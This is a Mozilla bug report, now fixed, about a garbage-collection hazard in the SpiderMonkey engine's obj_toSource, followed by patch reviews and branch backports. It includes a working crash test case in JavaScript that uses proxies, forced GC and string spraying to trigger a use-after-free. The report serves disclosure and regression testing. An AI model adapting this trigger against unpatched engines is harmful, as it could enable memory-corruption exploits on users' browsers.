Closed Bug 568073 Opened 10 years ago Closed 10 years ago

GC hazard in obj_toSource

Categories

(Core :: JavaScript Engine, defect)

Other Branch
defect
Not set

Tracking

()

RESOLVED FIXED
Tracking Status
blocking2.0 --- final+
blocking1.9.2 --- .11+
status1.9.2 --- .11-fixed
blocking1.9.1 --- .14+
status1.9.1 --- .14-fixed

People

(Reporter: igor, Assigned: igor)

References

Details

(Whiteboard: [sg:critical?] fixed-in-tracemonkey [keep hidden until 566141 is fixed])

Attachments

(4 files)

obj_toSource contains the following pattern:

obj->lookupProperty(cx, id, &obj2, &prop);
...
obj->getProperty(cx, id, &val[0]);
...
obj2->dropProperty(cx, prop);

Similarly to the bug 566141 the code calls obj2->dropProperty after doing potentially complex operations. Again, as with the bug 566141, the proxies makes the bug easier to exploit but AFAICS on branches the liveconnect can be used to archive the same results as the getProperty call can run arbitrary Java code that can in turn call JS.

Here is a test case that crashes the current TM tip:

var obj = {x: 0};

// Make a proxy property of a getter/setter so enumerateOwn will be invoked
// during initial scanning of the object tree. The function than deletes
// a property from the object so property lookup during the enumeration
// will go into prototype.
function f() {}
f.p = Proxy.create({ enumerateOwn: function() {
            delete obj.x;
            return [];
        }});
obj.__defineGetter__.call(obj, 'a', f);
obj.__defineSetter__.call(obj, 'a', f);

var buffer = [];
for (var i = 0; i != 4000; ++i)
    buffer.push({});

function force_gc() {
    print('gc');
    buffer = null;
    gc();
    buffer = [];
    for (var i = 0; i != 1e5; ++i)
        buffer.push("123456".substring(1));
}

// Make another proxy a prototype of Object.prototype. The has method for this
// proxy is called for the deleted property x during attribute lookup in
// obj_toSource. The method restores Object.prototype.__proto__ back to null
// and defines a getter for the x on the original object. This getter triggers
// gc that collects now unrooted proxy object and spray the freed GC arenas
// with strings leading to a crash during dropProperty call.
Object.prototype.__proto__ = Proxy.create({
      has: function(name) {
            if (name == "x") {
                Object.prototype.__proto__ = null;
                obj.__defineGetter__('x', force_gc);
                return true;
            }
            return false;
        },

      getOwnPropertyDescriptor: function(name) { return {}; }
    });

obj.toSource();
Attached patch v1Splinter Review
Attachment #447368 - Flags: review?(brendan)
Attachment #447368 - Flags: review?(brendan) → review+
Nominating for branches as in principle the bug could be exploited there using LiveConnect.
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
http://hg.mozilla.org/tracemonkey/rev/fa51bdbbdd46
Whiteboard: fixed-in-tracemonkey
Whiteboard: fixed-in-tracemonkey → [sg:critical?] fixed-in-tracemonkey
Depends on: 568485
Whiteboard: [sg:critical?] fixed-in-tracemonkey → [sg:critical?] fixed-in-tracemonkey [critsmash:patch]
Please request branch patch approvals when you're ready to land this on the stable branches.
blocking1.9.1: ? → needed
blocking1.9.2: ? → needed
http://hg.mozilla.org/mozilla-central/rev/fa51bdbbdd46
Status: NEW → RESOLVED
Closed: 10 years ago
Resolution: --- → FIXED
This bug should be a blocker on branches. AFAICS with liveconnect one can build an exploit here.
Attached patch fix for 192Splinter Review
192 backport follows the logic of TM patch adjusted for older internal API.
Attachment #447368 - Attachment is obsolete: true
Attachment #465980 - Flags: review?(gal)
Attachment #465980 - Flags: review?(gal) → review+
Attachment #447368 - Attachment is obsolete: false
Attached patch fix for 191Splinter Review
191 needs a separated fix to account for OBJ_LOOKUP_PROPERTY change on later
branches. Here is a plain diff against 192 version:

4,5c4
< @@ -771,71 +771,70 @@ obj_toSource(JSContext *cx, uintN argc, 
<          idIsLexicalIdentifier = js_IsIdentifier(idstr);
---
> @@ -769,71 +769,70 @@ obj_toSource(JSContext *cx, uintN argc, 
8c7,8
<              js_CheckKeyword(idstr->chars(), idstr->length()) != TOK_EOF;
---
>              js_CheckKeyword(JSSTRING_CHARS(idstr),
>                              JSSTRING_LENGTH(idstr)) != TOK_EOF;
14c14
< -            ok = obj2->getAttributes(cx, id, prop, &attrs);
---
> -            ok = OBJ_GET_ATTRIBUTES(cx, obj2, id, prop, &attrs);
16c16
< -                obj2->dropProperty(cx, prop);
---
> -                OBJ_DROP_PROPERTY(cx, obj2, prop);
44c44
< +                obj2->dropProperty(cx, prop);
---
> +                OBJ_DROP_PROPERTY(cx, obj2, prop);
50c50
<                  ok = obj->getProperty(cx, id, &val[0]);
---
>                  ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
54c54
< -            obj2->dropProperty(cx, prop);
---
> -            OBJ_DROP_PROPERTY(cx, obj2, prop);
68c68
<          ok = obj->getProperty(cx, id, &val[0]);
---
>          ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
Attachment #466251 - Flags: review?
Attachment #466251 - Flags: approval1.9.1.13?
Attachment #465980 - Flags: approval1.9.2.10?
Attachment #466251 - Flags: review? → review+
blocking1.9.1: needed → .13+
blocking1.9.2: needed → .10+
Attachment #465980 - Flags: approval1.9.2.10? → approval1.9.2.10+
Comment on attachment 466251 [details] [diff] [review]
fix for 191

Approved for 1.9.1.13, a=dveditz for release-drivers
Attachment #466251 - Flags: approval1.9.1.13? → approval1.9.1.13+
and Approved for 1.9.2.10
Whiteboard: [sg:critical?] fixed-in-tracemonkey [critsmash:patch] → [sg:critical?] fixed-in-tracemonkey [keep hidden until 566141 is fixed]
Attached patch 1.8.0 versionSplinter Review
Attachment #481170 - Flags: review?(igor)
Attachment #481170 - Flags: review?(igor) → review+
Group: core-security
You need to log in before you can comment on or make changes to this bug.